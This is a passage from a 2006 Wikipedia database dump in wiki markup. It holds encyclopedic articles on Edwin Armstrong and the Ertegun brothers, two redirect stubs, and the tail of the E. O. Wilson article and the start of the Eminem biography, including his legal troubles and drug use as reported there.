* ''[[The Future of Life]]'', [[2002]], Knopf, ISBN 0679450785
* ''[[Pheidole in the New World: A Dominant, Hyperdiverse Ant Genus]]'', [[2003]], Harvard University Press, ISBN 0674002938
*''From So Simple a Beginning: Darwin's Four Great Books''. 2005, W. W. Norton.


===Awards===
Among Wilson's many other awards for his works are two [[Pulitzer Prize for General Non-Fiction|Pulitzer Prizes]] for his 1978 ''On Human Nature'' and 1991 ''[[The Ants]]'' (with [[Bert Hölldobler]]), the [[Tyler Prize for Environmental Achievement]] and the [[Nierenberg Prize]].
==See also==

*[[Sociobiology]]
*[[Biodiversity]]
*[[Westermarck effect]]
*[[Green economics]]
*[[Evolutionary psychology]]
*[[Human behavioral ecology]]
*[[Dual inheritance theory]]
*[[List of publications on evolution and human behavior]]
*[[Bertrand Russell]]
*[[Richard Machalek]]
*[[Laura Simonds Southworth]]
*[[Barry Lopez]]
*[[Bert Hölldobler]]

==External links==
{{wikiquote}}
*[http://athome.harvard.edu/dh/wilson.html &quot;On the Relation of Science and Humanities&quot;], Harvard@Home lecture.
*[http://dir.salon.com/people/feature/2000/04/22/eowilson/index.html &quot;Living in Shimmering Disequilibrium&quot;], interview with Salon.
*[http://www.lrainc.com/swtaboo/taboos/wilson01.html Essay on &quot;Science and Idealogy&quot;]
*[http://www.guardian.co.uk/Archive/Article/0,4273,4137503,00.html &quot;Darwin's natural heir&quot; profile in ''The Guardian'' February 2001]
*[http://www.booktv.org/ram/history/1205/btv121705_1.ram &quot;Edward O. Wilson on &quot;From So Simple a Beginning: The Four Great Books of Charles Darwin&quot;&quot;], BookTV lecture stream

[[Category:1929 births|Wilson, Edward Osborne]]
[[Category:Living people|Wilson, Edward Osborne]]
[[Category:American entomologists|Wilson, Edward Osborne]]
[[Category:American zoologists|Wilson, Edward Osborne]]
[[Category:American naturalists|Wilson, Edward Osborne]]
[[Category:Myrmecologists|Wilson, Edward Osborne]]
[[Category:Pulitzer Prize winners|Wilson, Edward Osborne]]
[[Category:Eagle Scouts|Wilson, Edward Osborne]]
[[Category:Evolutionary biologists|Wilson, Edward Osborne]]
[[Category:People from Alabama|Wilson, Edward Osborne]]
[[Category:National Medal of Science recipients|Wilson, E. O.]]
[[Category:Premature obituaries|Wilson, Edward]]
[[Category:Ethologists|Wilson, Edward Osborne]]
[[Category:Humanists|Wilson, Edward Osborne]]
[[Category:Members and associates of the US National Academy of Sciences|Wilson, Edward Osborne]]

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  </page>
  <page>
    <title>Edwin Armstrong</title>
    <id>10315</id>
    <revision>
      <id>42110630</id>
      <timestamp>2006-03-03T22:11:56Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>ced</comment>
      <text xml:space="preserve">[[Image:EdwinHowardArmstrong.jpg|thumb|Edwin Howard Armstrong]]
'''Edwin Howard Armstrong''' ([[December 18]], [[1890]] &amp;ndash; [[January 31]], [[1954]]) was an American [[electrical engineer]] and [[inventor]]. He received an undergraduate degree in electrical engineering from [[Columbia University]]. Edwin Armstrong was one of the most prolific inventors of the radio era, with a vision that was ahead of his time.

Armstrong was the inventor of the [[FM]] radio.  He also invented the [[Regenerative circuit]] (invented while he was a junior in college at Collumbia University, and [[patent]]ed 1914), the Super-regenerative circuit (patented 1922), and the [[Superheterodyne receiver|Super Heterodyne]] receiver (patented 1918). Many of Armstrong's inventions were ultimately claimed by others in patent lawsuits. Armstrong's life is both a story about the great inventions he brought about, and the tragedy wherein those inventions' rights were claimed by others.

In particular, the regenerative circuit, which Armstrong [http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=1113149.WKU.&amp;OS=PN/1113149&amp;RS=PN/1113149 patented in 1914], was subsequently patented by [[Lee De Forest]] in 1916; De Forest then sold the rights to his patent to [[AT&amp;T]]. Between 1922 and 1934, Armstrong found himself embroiled in a patent war, between himself, [[RCA]], and [[Westinghouse Electric Corporation|Westinghouse]] on one side, and De Forest and AT&amp;T on the other. This patent lawsuit was the longest ever litigated to its date, at 12 years. Armstrong won the first round of the lawsuit, lost the second, and stalemated in a third. Before the [[United States Supreme Court]], De Forest was granted the regeneration patent in what is today widely believed to be a misunderstanding of the technical facts by the Supreme Court.

Even as the regeneration-circuit lawsuit continued, Armstrong created another momentous invention: [[frequency modulation]] ([[FM]], [[patent]]ed in [[1933]]). Rather than varying the amplitude of a radio wave to create sound, Armstrong's method varied the frequency of the wave instead. [[FM radio]] receivers proved to generate a much clearer sound, free of static, than the [[AM radio]] dominant at the time.

In proving the utility of FM technology, Armstrong successfully lobbied the [[Federal Communications Commission|FCC]] to create an FM radio band, between 42 and 49 MHz.

In the early 1940s, shortly before and during U.S. involvement in [[World War II]], Armstong then helped to market a small number of high powered FM radio stations in the [[New England]] states, known as the [[Yankee Network]]. Armstrong had begun on a journey to convince America that FM radio was superior to AM, and, he hoped, to collect patent royalties on every radio sold with FM technology.

However, the FM radio which [[disruptive technology|threatened to destroy]] the AM radio proved to be too revolutionary for the [[RCA]] (Radio Corporation of America), Armstrong's then employer. RCA begun [[lobby]] for law change that would prevent the FM radios from becoming dominant.

By June of 1945, the RCA had pushed the FCC hard on the allocation of electromagnetic frequencies for the fledgling television industry. Although they denied wrongdoing, [[David Sarnoff]] and RCA managed to get the FCC to move the FM radio spectrum from (42 to 49 MHz), to (88 to 108 MHz), while getting new television channels allocated in the 40-megahertz range.

This single FCC action rendered all Armstrong-era FM sets useless overnight, and protected RCA's AM-radio stronghold. Armstrong's radio network did not survive the frequency shift up into the high frequencies; most experts believe that FM technology was set back decades by the FCC decision.

This change was strongly supported by [[AT&amp;T]], because loss of FM relaying stations forced radio stations to buy wired links from AT&amp;T.

Furthermore, RCA also claimed invention of FM radio and won its own patent on the technology. A patent fight between RCA and Armstrong ensued. RCA's momentous victory in the courts left Armstrong unable to claim royalties on any FM radios sold in the United States. The undermining of Yankee Network and Patent Court battle brought ruin to Armstrong, by then, almost penniless and emotionally distraught.

Driven to despair over the FM debacle, Armstrong jumped to his death from the thirteenth floor window of his New York City flat on [[31 January]] [[1954]]. His widow Marion renewed the patent fight against RCA and finally prevailed in 1967. It took decades following Armstrong's death for FM radio to meet and surpass the saturation of the AM band, and longer still for FM radio to become profitable for broadcasters. However, Armstrong's invention, and his genius, were ultimately proven in the marketplace by today's broad acceptance of the FM band. 

In [[1917]] Armstrong was the first recipient of the [[IRE]]'s, now [[IEEE]], Medal of Honor. He received in 1942 the [[AIEE]]s [[Edison Medal]] &quot;For distinguished contributions to the art of electric communication, notably the regenerative circuit, the superheterodyne, and frequency modulation&quot;. Recently, in [[1980]], he was inducted into the [[National Inventors Hall of Fame]].

==See also==
[[Armstrong Tower]]

==External links==
{{wikiquote}}
* Katzdorn, Mike, &quot;''[http://users.erols.com/oldradio/ Edwin H. Armstrong]''&quot;
* Lewis, Tom, ''Empire of the Air, The men who made radio'', isbn 0-06-098119-9 HarperPerennial, 1993.
* Halper, Donna, &quot;''[http://www.oldradio.com/archives/people/armstrong.htm Major Edwin Howard Armstrong]''&quot; (Barry Mishkind website) 
* Ammon, Richard T., &quot;''[http://www.superhets.info The Rolls Royce Of Reception] : Super Heterodynes - 1918 to 1930''&quot;.
* IEEE History Center's [http://www.ieee.org/organizations/history_center/legacies/armstrong.html Edwin H. Armstrong] : Excerpt from &quot;The Legacy of Edwin Howard Armstrong,&quot; by J. E. Brittain Proceedings of the IEEE, vol. 79, no. 2, February 1991
* Lessig, Larry. &quot;Free Culture: How Big Media Uses Technology and the Law to Lock Down Culture and Control Creativity.&quot; New York: Penguin Press. 2004. [http://www.free-culture.cc/freeculture.pdf pdf of the book] pp. 3-6.
* Hong, Sungook, &quot;''[http://www.ieee.org/organizations/history_center/Che2004/Hong.pdf A History of the Regeneration Circuit: From Invention to Patent Litigation]''&quot; University, Seoul, Korea (PDF)
* [http://antiqueradios.com/superhet/ Who Invented the Superhetrodyne?] The history of the invention of the superhetrodyne receiver and related patent disputes

==References==
* [[Lawrence Lessing]], ''Man of High fidelity: Edwin Howard Armstrong'', Philadelphia, J.B. Lipncott Company, 1956

'''Patent'''
* {{US patent|1113149}} : &quot;Wireless receiving system&quot;
* {{US patent|1342885}} : &quot;Method of receiving high frequency oscillation&quot;
* {{US patent|1424065}} : &quot;Signalling system&quot;
* {{US patent|1941066}} : &quot;Radio signalling system&quot;

[[Category:1890 births|Armstrong, Edwin]]
[[Category:1954 deaths|Armstrong, Edwin]]
[[Category:American inventors|Armstrong, Edwin]]
[[Category:Broadcasting|Armstrong, Edwin]]
[[Category:Columbia alumni|Armstrong, Edwin]]
[[Category:Electrical engineers|Armstrong, Edwin]]
[[Category:Presbyterians|Armstrong, Edwin]]
[[Category:Suicides|Armstrong, Edwin]]
[[Category:Yonkersites|Armstrong, Edwin]]

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  <page>
    <title>Emulators</title>
    <id>10316</id>
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      <id>15908136</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Emulator]]
</text>
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  <page>
    <title>Ertegun brothers</title>
    <id>10317</id>
    <revision>
      <id>41342614</id>
      <timestamp>2006-02-26T18:49:59Z</timestamp>
      <contributor>
        <username>Lambiam</username>
        <id>745100</id>
      </contributor>
      <comment>more awards and such</comment>
      <text xml:space="preserve">The '''Ertegun brothers''', '''Ahmet Ertegun''' (born [[1923]]) and '''Nesuhi Ertegun''' ([[1917]]&amp;ndash;[[1989]]), were executives of [[Atlantic Records]]. They also co-founded the [[New York Cosmos]] [[soccer]] team of the [[North American Soccer League]].

Born in [[Istanbul]], [[Turkey]], they moved to [[Washington, DC]] with their father [[M. Munir Ertegun]], who was then the [[Turkey|Turkish]] [[Ambassador (diplomacy)|Ambassador]] to the [[United States]].

Ahmet Ertegun, producer [[Tom Dowd]], [[Herb Abramson]] and others created [[Atlantic Records]] in the late [[1940s]] as an independent record company that became a [[jazz]] and [[pop music|pop]] empire in the [[1960s]].  

Their first success came in [[rhythm and blues]], with such artists as [[Joe Turner]], [[Ruth Brown]], [[The Clovers]], [[The Drifters]], and [[Ray Charles]].  Regarding [[Ray Charles]], Ahmet Ertegun is quoted as saying &quot;First time I saw Ray I told him, 'You are the fucking end, you know.'&quot;

They brought a jazz sensibility (and many jazz artists) into R&amp;B and participated in turning the genre from a minority interest into a major part of the musical scene.  Ahmet Ertegun wrote a number of classic [[blues]] songs, including &quot;Chains of Love&quot; and &quot;Sweet Sixteen&quot; under the [[pseudonym]] &quot;A. Nugetre&quot; (Ertegun backwards), as well as Ray Charles' first hit &quot;Mess Around&quot;.

Nesuhi was persuaded to join Atlantic in [[1955]] and became vice-president in charge of the jazz and [[grammophone record|LP]] department.  

During the 1960s, Ahmet heard [[Led Zeppelin]]'s [[Demo (music)|demo]] and knew they would be a smash hit after hearing the first few songs. He quickly signed them. He also convinced [[Crosby, Stills and Nash]] to allow [[Neil Young]] to join them on one of their tours, thereby founding [[Crosby, Stills, Nash and Young]].

Ahmet also used his considerable personal skills in negotiations with major stars, such as when [[The Rolling Stones]] were shopping for a record company to distribute their independent [[Rolling Stones Records]] label. Ertegun personally conducted the negotiations with [[Mick Jagger]], successfully completing the deal between The Stones and Atlantic, when other labels had actually offered the band more money. 

Many independent record executives, like the Erteguns, were from immigrant backgrounds, including the [[Bihari brothers]] and the [[Chess Records|Chess brothers]].  

The Ertegun's primary musical interest was [[Jazz]].  Nesuhi produced records for artists like [[John Coltrane]], [[Charles Mingus]], [[Ornette Coleman]] and [[Hank Crawford]].  Both brothers promoted jazz concerts, founded jazz record companies, and organized jazz bands. Nevertheless, they were also open to more modern popular styles and worked with such famous artists as [[Sonny Bono|Sonny]] and [[Cher (entertainer)|Cher]].

In [[1971]], Nesuhi founded WEA International, now [[Warner Music]] International.

In [[1987]], Ahmet was inducted to the [[Rock &amp; Roll Hall of Fame]], of which he himself was the founder. Nesuhi Ertegun was inducted there [[posthumous]]ly four years later in [[1991]]. Ahmet received an [[honorary doctorate]] in music from the [[Berklee College of Music]] in Boston in 1991, and was awarded the [[Grammy Trustees Award]] for his lifetime achievements in [[1993]]; Nesuhi was awarded the same posthumously two years later in [[1995]]. The [[United States Library of Congress]] honored Ertegun as a &quot;Living Legend&quot; in 2000. The [[Nesuhi Ertegun Jazz Hall of Fame]] at [[Jazz at Lincoln Center]] was dedicated to Nesuhi in 2004. In [[2005]], the [[Recording Academy]] presented Ahmet with the first &quot;President's Merit Award Salute To Industry Icons&quot;. For their contributions to the sport of soccer, both were inducted into the [[National Soccer Hall of Fame]] in 2003.

In ''[[Ray (film)|Ray]]'', the [[biopic]] of [[Ray Charles]], Ahmet Ertegun is portrayed by [[Curtis Armstrong]].  In ''[[Beyond the Sea (film)|Beyond the Sea]]'', the biopic about [[Bobby Darin]], Ahmet is played by [[Tayfun Bademsoy]].

Ahmet Ertegun is still employed at Atlantic Records as Founding Chairman.

==See also==
* [[Turkish music]]

[[Category:1917 births|Ertegun, Nesuhi]]
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[[Category:Living people|Ertegun, Ahmet]]
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[[Category:Rock and Roll Hall of Fame inductees|Ertegun brothers]]
[[Category:Turkish musicians|Ertegun brothers]]

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  <page>
    <title>Eating Out</title>
    <id>10319</id>
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      <text xml:space="preserve">#REDIRECT [[Restaurant]]
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  <page>
    <title>Eminem</title>
    <id>10320</id>
    <revision>
      <id>42160770</id>
      <timestamp>2006-03-04T05:35:35Z</timestamp>
      <contributor>
        <ip>67.177.113.2</ip>
      </contributor>
      <comment>/* Albums and EPs */</comment>
      <text xml:space="preserve">{{otheruses1|the singer Eminem}}
&lt;!-- NOTE TO EDITORS: Please note that vandalism of this page will not be tolerated; this includes unregistered IP addresses. 
Vandalism will be taken as including adding of your own views, deleting large sections of text, and inserting manifestly false information. Anyone who vandalizes the page may be blocked for 24 hours without further warning. YOU HAVE BEEN WARNED. --&gt;
{{Infobox band
| band_name         = Eminem
| image             = [[Image:Eminem-69.jpg|200px]]
| caption           = Marshall Mathers
| years_active      = [[1996]] to present
| origin            = [[Kansas City, Missouri|Kansas City]], [[Missouri]]
| music_genre       = [[Rap music|Rap/Hip Hop]]
| record_label      = [[Shady Records|Shady]]/[[Aftermath Entertainment|Aftermath]]/[[Interscope Records|Interscope]]
}}
'''Eminem''' (born '''Marshall Bruce Mathers III''' on [[October 17]], [[1972]]) is an [[United States|American]] rapper, one of today's most popular and controversial [[rap music|rappers]], and a [[Grammy]] and [[Academy Award|Oscar]]-winner.  He currently lives in suburban [[Detroit]] and is of mostly [[Scottish people|Scottish-American]] descent. Discovered by rapper/producer [[Dr. Dre]], Eminem is known as one of the most skillful and controversial rappers in the industry, becoming a [[crossover (music)|crossover]] sensation with his debut single &quot;[[My Name Is]]&quot; while simultaneously earning respect from the hip-hop community for his lyrical talent. He is noted for his ability to change his own verbal pace (flow) and style multiple times within one song without losing the [[Beat (music)|beat]], and has been praised for his skill in [[alliteration]] and [[assonance]]. He is infamous for the controversy surrounding many of his lyrics. With the enormous success of his sophomore album ''[[The Marshall Mathers LP]]'' following its release in [[May 2000]], and its subsequent nomination for four Grammy awards including Album of the Year, critics such as [[GLAAD]] denounced his lyrics as [[Homophobia|homophobic]], while others complained that it was also extremely [[Misogyny|misogynistic]] and violent. However, he has received a great deal of praise within the hip-hop community for his lyrical ability. He is the second-highest selling rapper of all time, behind [[Tupac Shakur]], though the latter has had several posthumous albums released.  &lt;!-- NOTE TO VANDALS:  DON'T BOTHER REMOVING THE BIT ABOUT TUPAC, I WILL JUST REPLACE IT IMMEDIATELY. THIS SECTION HAS BEEN REPEATEDLY VANDALISED. IF YOU HAVE A PROBLEM WITH MENTIONING 'PAC, TAKE IT TO THE TALK PAGE AND WE'LL DISCUSS IT. ANYONE WHO DELETES THIS SECTION *WILL* BE REPORTED FOR VANDALISM. -KASREYN--&gt;

While generally avoiding overtly political tones previously (or if they were mentioned it was in passing), in late [[2004]] before the presidential election, Eminem released the song &quot;[[Mosh (song)|Mosh]],&quot; which harshly criticizes President [[George W. Bush]]. ''[[Encore (album)|Encore]]'', Mathers' fourth major-label album, was released later that year, but was considered by many to be a disappointment in comparison to his previous three albums and sold half of what ''[[The Eminem Show]]'' had. Though Eminem considers himself neither a militant nor a political artist, he did have his own Hip Hop Political Convention as a parody of the national political conventions held in 2004. His latest release is ''[[Curtain Call: The Hits]]'', a compilation which covers many of his past hit songs, and includes three new tracks.

== Personal life ==
===Early childhood===
Marshall was born in [[Saint Joseph, Missouri|St. Joseph]], [[Missouri]] (near [[Kansas City, Missouri|Kansas City]]) to parents Deborah &quot;Debbie&quot; Mathers-Briggs and Marshall Bruce Mathers II, and spent most of his childhood moving back and forth between Kansas City, and suburban [[Detroit]], including [[Warren, Michigan|Warren]]. His father had abandoned the family before Marshall turned two years old, and the two have not had contact since, save some rejected attempts by Marshall's father to contact Marshall after his rise to fame. Constantly moving from home to home, he frequently changed schools, often finding himself to be an outcast in the new communities, and frequently fell victim to [[Bully|bullying]]. An assault by schoolmate DeAngelo Bailey that left Marshall hospitalized was the most notable such incident, which Marshall would later recount in greatly exaggerated form on the track &quot;Brain Damage&quot; (''[[The Slim Shady LP]]'', [[1999]]). The song prompted legal action by the assailant,[http://www.vh1.com/news/articles/1451396/12102001/eminem.jhtml] with accusations of [[Slander and libel|libel]] and [[Invasion of privacy|privacy infringement]], which were eventually dismissed in court. 

His childhood was further marred by his family's meager financial status, which was the primary reason for the continuous moving, during which Marshall and his mother Debbie would often find themselves living in [[public housing]], [[mobile home]]s, and under the care of relatives, such as Marshall's great-aunt Edna, whom he mentions in &quot;Evil Deeds&quot; (‘‘Encore’’). During this time, Debbie was legally taking the [[prescription drug]]s [[Hydrocodone|Vicodin]] and [[Diazepam|Valium]], though Marshall later claimed in numerous interviews and songs that she was abusing the drugs,[http://www.vh1.com/artists/news/1436917/09152000/eminem.jhtml] to which Debbie retaliated with a lawsuit pressing defamation charges (see below). In the song &quot;Cleaning Out My Closet&quot; (''The Eminem Show'', [[2002]]), Marshall also accuses Debbie of having [[Munchausen syndrome]] by proxy, adding that &quot;my whole life I was made to believe I was sick when I wasn't... it makes you sick to your stomach, doesn't it?&quot;. This was not the first time someone suggested Debbie had the disorder, as a social worker had made similar comments following a [[1996]] investigation of her mistreatment of Nathan Samra-Mathers, her second child, 14 years Marshall's junior.

===Life before fame===
Before dropping out of [[Lincoln High School]] Warren as a 9th grader at the age of 17 (after failing ninth grade three times), Marshall made a number of significant acquaintances at the school. This included fellow rapper [[Proof (rapper)|Proof]], who was to become one of his closest friends, the [[Runyon Avenue Soldiers]], and future wife [[Kim Mathers|Kimberly Ann &quot;Kim&quot; Scott]], with whom he soon developed a long-term relationship. When Kim became pregnant, this further increased Marshall's drive to succeed through concern over the welfare of his new family. He discusses this in &quot;Never Far&quot; (''[[Infinite (album)|Infinite]]'', [[1996]]), saying &quot;I got a baby on the way, I don't even got a car...I still stay with my moms...we gotta make some hit records or something [because] I'm tired of being broke...&quot; When the ''Infinite'' album failed to generate the revenue and acclaim he had hoped for, and Kim ended their relationship, preventing him from seeing his newborn child, Marshall decided to take his own life. However, his suicide attempt using an overdose of [[Tylenol]] [[analgesic]]s failed, and Marshall resumed his efforts to succeed in the music industry and reconcile with Kim.[http://www.vh1.com/artists/az/eminem/bio.jhtml] He ultimately succeeded in doing both, marrying Kim on [[June 14]], 1999 in St. Joseph, Missouri.

The couple's daughter, [[Hailie Jade Scott]], born [[December 25]], [[1995]] would grow to become an important part of Marshall's life, as he became dedicated to giving her everything he himself was deprived of in his childhood, including a father figure and financial security. He would go on to mention her extensively in some of his songs, including &quot;'97 Bonnie &amp; Clyde&quot; (''The Slim Shady LP'', 1999), which takes the form of a one-sided [[dialogue]] with Hailie, as well as &quot;Hailie's Song&quot; (''The Eminem Show'', 2002), &quot;Mockingbird&quot; (‘‘Encore’’, 2004), and &quot;When I'm Gone&quot; (''Curtain Call: The Hits'', 2005), all of which are proclamations of his love and dedication to her. In addition, he samples her voice in the less serious upbeat track &quot;My Dad's Gone Crazy&quot; (''The Eminem Show'', 2002).

===Legal troubles===
The year 1999 was marked by a rise to celebrity status for Marshall, but it also ushered the beginning of his numerous legal troubles. The first of these was his mother Debbie's lawsuit against him in September of that year. The lawsuit was motivated by comments on Debbie's drug use made by Marshall on the song &quot;My Name Is&quot; (''The Slim Shady LP'', 1999), specifically the lyric &quot;Ninety-nine percent of my life I was lied to/I just found out my mom does more dope than I do&quot;, and similar accusations in numerous interviews. Debbie refuted the statements and demanded more than [[United States dollar|$]]10 million in damages for defamation in two lawsuits. After rumors of Debbie dropping the suit, she and Marshall reached a settlement in [[2001]] for $25,000, with over $23,000 of it going to Debbie's former attorney Fred Gibson by a court order.[http://www.vh1.com/artists/news/1446458/08082001/eminem.jhtml] A request for reconsideration of the settlement by Debbie was denied by a judge.[http://www.vh1.com/artists/news/1444814/06272001/eminem.jhtml] Marshall's resentful reflections on the case can be heard on the song &quot;Marshall Mathers&quot; (''[[The Marshall Mathers LP]]'', [[2000]]) in the lyrics &quot;my fuckin' bitch mom is suing for 10 million/ she must want a dollar for every pill I've been stealin'&quot; and the self-censored line &quot;your attorney Fred Gibson's a faggot&quot;.

With Marshall's rise to stardom, new disputes arose between him and his wife, centered around Kim's dissatisfaction over the graphic fictional account of Marshall murdering her and dumping her body in a lake in the songs &quot;'97 Bonnie &amp; Clyde&quot; (''The Slim Shady LP'', 1999) and &quot;Kim&quot; (''The Marshall Mathers LP'', 2000). The tension between the couple came to a climax when Marshall witnessed Kim kissing another man, one John Guerrera, outside the Hot Rocks Café in Warren on [[June 4]], 2000. Highly disgruntled, Marshall threatened John with an unloaded [[9 mm caliber|9 mm]] [[Semi-automatic firearm|semi-automatic gun]] and proceeded to [[Pistol-whipping|pistol-whip]] him.[http://www.vh1.com/artists/news/1436562/06072000/eminem.jhtml] Guerrera is mentioned in &quot;[[Sing For The Moment]]&quot; on ''The Eminem Show'', with the exact lyric being &quot;you're full of shit too, Guerrera, that was a ''fist'' that hit you!&quot;  In addition, it was soon revealed that the previous day, Marshall was involved in a heated dispute in [[Red Oak, Michigan|Red Oak]], [[Michigan]] with Douglas Dail, an associate of the rap group [[Insane Clown Posse]], with whom Marshall had an ongoing [[Hip hop rivalries|rivalry]]. On the ''[[Marshall Mathers LP]]'', on the track &quot;Marshall Mathers,&quot; Eminem calls ICP's Shaggy 2 Dope and Violent Jay &quot;Faggot 2 Dope,&quot; and &quot;Silent Gay.&quot; Furthermore, the Ken Kaniff skit on this album features the character (played by Eminem) being fellated by the ICP pair. During the confrontation, Marshall was observed to be holding a gun, which he kept pointed at the ground.[http://www.vh1.com/artists/news/1436572/06092000/eminem.jhtml] Being taken into police custody during the Hot Rocks Café incident, Marshall was charged with [[misdemeanor|misdemeanor]] charges of brandishing a firearm in public, [[assault]] with a dangerous weapon, and two counts of [[Concealed carry (USA)|concealed]] [[weapon possession]], in two separate trials for the two incidents. After a [[plea bargain]] in the John Guerrera case, which concluded on [[April 10]], 2001, Marshall pleaded guilty to weapon possession in exchange for the assault charges being dropped, receiving two years of [[probation]],[http://www.vh1.com/artists/news/1442685/04112001/eminem.jhtml] and was ordered to pay $100,000 in damages at the conclusion of the case evaluation in 2002.[http://www.vh1.com/artists/news/1453345/04092002/eminem.jhtml] In the Dail case, he pleaded ''[[nolo contendere]]'' to the charges of firearm possession and brandishing, receiving one year of probation, enforced concurrently with the sentence from the first case.[http://www.vh1.com/artists/news/1444843/06282001/eminem.jhtml] He would later recount the former incident in the song &quot;Soldier&quot; (''The Eminem Show'', 2002) and the preceding [[interlude]] &quot;The Kiss&quot;. 

While the trials were in the beginning stages, things were only getting worse for Marshall, when on [[July 7]], 2000, Kim attempted suicide in the couple's [[Sterling Heights, Michigan]] home by [[Self-harm|cutting her wrists]]. Marshall talks about this incident from Hailie's point of view in the song &quot;When I'm Gone&quot; from the CD ''Curtain Call: The Hits''.[http://www.vh1.com/artists/news/1436675/07102000/eminem.jhtml] This prompted Marshall to file for [[divorce]] a few months later,[http://www.vh1.com/artists/news/1436827/08172000/eminem.jhtml] which was promptly countered by Kim with a lawsuit that sought to deny Marshall custody of their daughter and $10 million in defamation damages.[http://www.vh1.com/artists/news/1123331/08222000/eminem.jhtml] Within weeks, however, they settled the lawsuit, and agreed to [[joint custody]] of their daughter, with Kim gaining physical [[Child custody|custody]] of Hailie, granting Marshall &quot;liberal visitation rights&quot;.[http://www.vh1.com/artists/news/1436870/08312000/eminem.jhtml] By the end of the year, the couple reconciled, agreeing to dismiss divorce claims and live together.[http://www.vh1.com/artists/news/1424555/12142000/eminem.jhtml] Marshall mentions [Kim's] suicide attempt and the Hot Rocks Café incident on the [[Xzibit]] song &quot;Don't Approach Me&quot; (''[[Restless (Xzibit album)|Restless]]'', 2000), criticizing the amount of media coverage of the events and the public attention to his life in general.

The reconciliation, however, would not last, as Kim filed for divorce in 2001, which was finalized in October of that year, granting joint physical and legal custody of Hailie to both parties, as well as requiring Marshall to make [[child support]] payments.[http://www.vh1.com/artists/news/1449902/10102001/eminem.jhtml] There was further turbulence in their relationship when Kim was sentenced to 2 years of probation for [[felony]] [[cocaine]] possession in [[2003]]. This was not her first such incident, as she had previously faced similar charges in 2001, although they were eventually dropped.[http://www.vh1.com/artists/news/1473473/07012003/eminem.jhtml] The incident was not to be her last, however, as she was sentenced to 30 days in jail in 2004, after failing a [[drug test]] for cocaine while still on probation.[http://news.bbc.co.uk/1/hi/entertainment/music/3484927.stm] Marshall makes numerous references to Kim's cocaine use on the ''Encore'' album, including the quotes &quot;you're a fucking cokehead slut&quot; and &quot;mama developed a habit&quot; in the songs &quot;Puke&quot; and &quot;Mockingbird&quot; respectively. Their relationship since their divorce was subject to many contradictive rumors and statements in Marshall's music and remained in an indecisive &quot;on-again, off-again&quot; state for a long time.

===The aftermath===
Marshall was no stranger to drugs and alcohol, as suggested by a large number of his songs, including &quot;Drug Ballad&quot; (''The Marshall Mathers LP'', 2000) and &quot;These Drugs&quot; (''[[Devil's Night (album)|Devil's Night]]'' Bonus Disc, 2001), which are dedicated to his drug use in their entirety. The song &quot;I'm Shady&quot; (''The Slim Shady LP'', 1999) even includes the explanatory line &quot;well, I do take pills (''[[ecstasy (drug)|ecstasy]] or prescription drugs''), don't do [[methamphetamine|speed]] / don't do crack, don't do [[cocaine|coke]] / I do smoke weed / don't do [[heroin|smack]] / I do do [[psychedelic mushroom|shrooms]], do drink beer / I just wanna make a few things clear&quot;. Later tracks, including the aforementioned &quot;These Drugs&quot; and &quot;Kill You&quot; (''The Marshall Mathers LP'', 2000) additionally suggest cocaine use, although he has never been in a law enforcement incident involving drugs. However, with the sentence of two years of probation taking effect in 2001, during which he was subject to mandatory regular drug testing, his recreational drug use was put to an end. This fact is supported with references to his drug use in his music, which all but disappeared after 2001, and comments by band mate [[Proof (rapper)|Proof]], who states that Marshall &quot;sobered up&quot;.[http://www.vh1.com/news/articles/1452709/03012002/eminem.jhtml] However, with rising pressures and workload in his professional career, Marshall found it difficult to get the rest he wanted, and turned to [[Zolpidem|Ambien]] [[Sedative|sleeping pills]] for relief. His use of the drug eventually became so severe, that in [[August 2005]], he cancelled the European leg of his ongoing tour, and checked into a [[drug rehabilitation]] clinic for treatment. &lt;!-- This needs a source--&gt;

The decline of Marshall's drug use during his probation was in line with the growing demands for responsibility in his role as a parent to Hailie. In addition, he is also known to take care of the daughter of Kim's twin sister Dawn, Alaina &quot;Laney&quot;, whom he mentions in the song &quot;Mockingbird&quot; (''Encore'', 2004), referring to himself as her &quot;daddy&quot; and stating &quot;it's almost like [Laney and Hailie] are sisters now&quot;. He also cares for his younger half-brother Nathan, who makes appearances in the [[music video]]s for &quot;The Way I Am&quot; (''The Marshall Mathers LP'', 2000) and &quot;Without Me&quot; (''The Eminem Show'', 2002). Marshall currently resides with the aforementioned members of his extended family in [[Clinton Charter Township, Michigan|Clinton Charter Township]], [[Michigan]] in the outskirts of [[Detroit]].

=== Remarriage ===
Eminem remarried Kim on [[January 14]], 2006 in Michigan. Eminem's best man was long time friend and [[D12 (hip-hop group)|D12]] member [[Proof (rapper)|Proof]], while Kim's maid of honor was their daughter Hailie. They walked down the aisle to Eminem's song &quot;Mockingbird&quot; which was a tribute to Hailie and his niece Alaina. Guests at the wedding were [[50 Cent]] and his [[G-Unit]] crew, as well as D12. Kim's mother attended the wedding while Eminem's mother did not. &lt;!-- This needs a source--&gt;

==Early career==
Interested in rap from a young age, Mathers began performing as early as thirteen, later gaining some popularity with a group, Soul Intent. In [[1996]], he released his first independent album, named ''[[Infinite (album)|Infinite]]'' (of which he sold about 500 copies out of the back of his car.) The album received no airplay and a mixed critical response, with people claiming Eminem's rapping style sounded too similar to [[Nas (rapper)|Nas]] and [[AZ (rapper)|AZ]]. Drawing on the negative experiences of his life, in 1997 Eminem followed ''Infinite'' up with ''[[The Slim Shady EP]]'' demo, which saw his lyrics take a decidedly darker turn, in songs like &quot;No One's Iller&quot; and &quot;Murder Murder,&quot; the latter in which he talks about having to commit crimes to feed his daughter. He became famous in the hip-hop underground because of his distinctive, cartoonish style and the fact that he was [[whites|white]] in a predominantly black genre. Fellow rapper [[Snoop Dogg]] referred to him as rap's &quot;great white [[United States|American]] hope&quot; in the song &quot;Bitch Please II&quot;.

